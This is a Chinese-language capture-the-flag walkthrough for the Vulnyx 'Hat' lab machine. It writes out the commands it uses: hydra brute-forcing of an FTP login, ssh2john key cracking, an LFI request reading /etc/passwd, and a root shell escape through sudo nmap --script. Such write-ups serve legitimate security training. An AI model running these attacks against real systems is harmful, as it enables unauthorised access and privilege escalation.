Vulnyx-Hat-Walkthrough
信息收集
服务探测
1 | ❯ sudo arp-scan -l |
没有开放22端口,有个65535
端口
先扫一下80端口的目录
1 | ❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 |
日志泄露
利用nc连接一下65535端口
发现采用了pyftpdlib
1 | ❯ nc -vn $ip 65535 |
pyftpdlib 是一个用 Python 编写的高性能、可扩展的 FTP 服务器库。它允许你在 Python 程序中轻松地构建和定制 FTP 服务器
那就用ftp连接一下,发现不允许匿名登录
1 | ❯ ftp anonymous@$ip 65535 |
我们尝试在logs下添加后缀
再次扫一下目录,发现存在/vsftpd.log
1 | ❯ gobuster dir -u http://$ip/logs -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt,log -b 403,404 |
尝试curl一下此日志
发现日志中admin_ftp
用户登录成功
1 | ❯ curl http://192.168.60.209/logs/vsftpd.log |
Ftp爆破
利用hydra爆破一下ftp
得到密码cowboy
1 | ❯ hydra -l admin_ftp -P /usr/share/wordlists/rockyou.txt ftp://$ip -s 65535 -I |
连接一下,发现存在私钥文件和一个提示
1 | ❯ ftp admin_ftp@$ip 65535 |
但问题是22端口不开放啊,没法通过私钥进行连接
1 | ❯ cat id_rsa |
用户提权
不过我发现在ipv6中ssh端口是开放的
1 | ❯ ping6 -I eth0 -c 5 ff02::1 |
不过不知道用户名,尝试爆破私钥得到 ilovemyself
1 | ❯ ssh2john id_rsa >hash |
LFI漏洞
我们再次扫描一下/php-scripts
目录
得到一个file.php
1 | ❯ gobuster dir -u http://$ip/php-scripts -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt,log -b 403,404 |
猜测存在LFI漏洞
模糊测试一下,得到参数6
1 | ❯ wfuzz -c -u "http://$ip/php-scripts/file.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt --hw 0 --hc 404 |
获取到用户名cromiphi
1 | ❯ curl http://192.168.60.209//php-scripts/file.php\?6\=/etc/passwd |
尝试ssh 进行ipv6连接
成功登录
先拿个user
1 | ❯ ssh cromiphi@fe80::a00:27ff:fe7d:1398%eth0 -i id_rsa |
Root提权
发现用户拥有sudo权限可以执行nmap
尝试利用--interactive
参数启用交互界面
1 | cromiphi@hat:~$ sudo /usr/bin/nmap --interactive |
不过好像没有这个选项
但还可以利用--script
执行脚本
虽然说输入没有回显,但是可以成功执行
1 | cromiphi@hat:~$ echo 'os.execute("/bin/sh")'>aaa |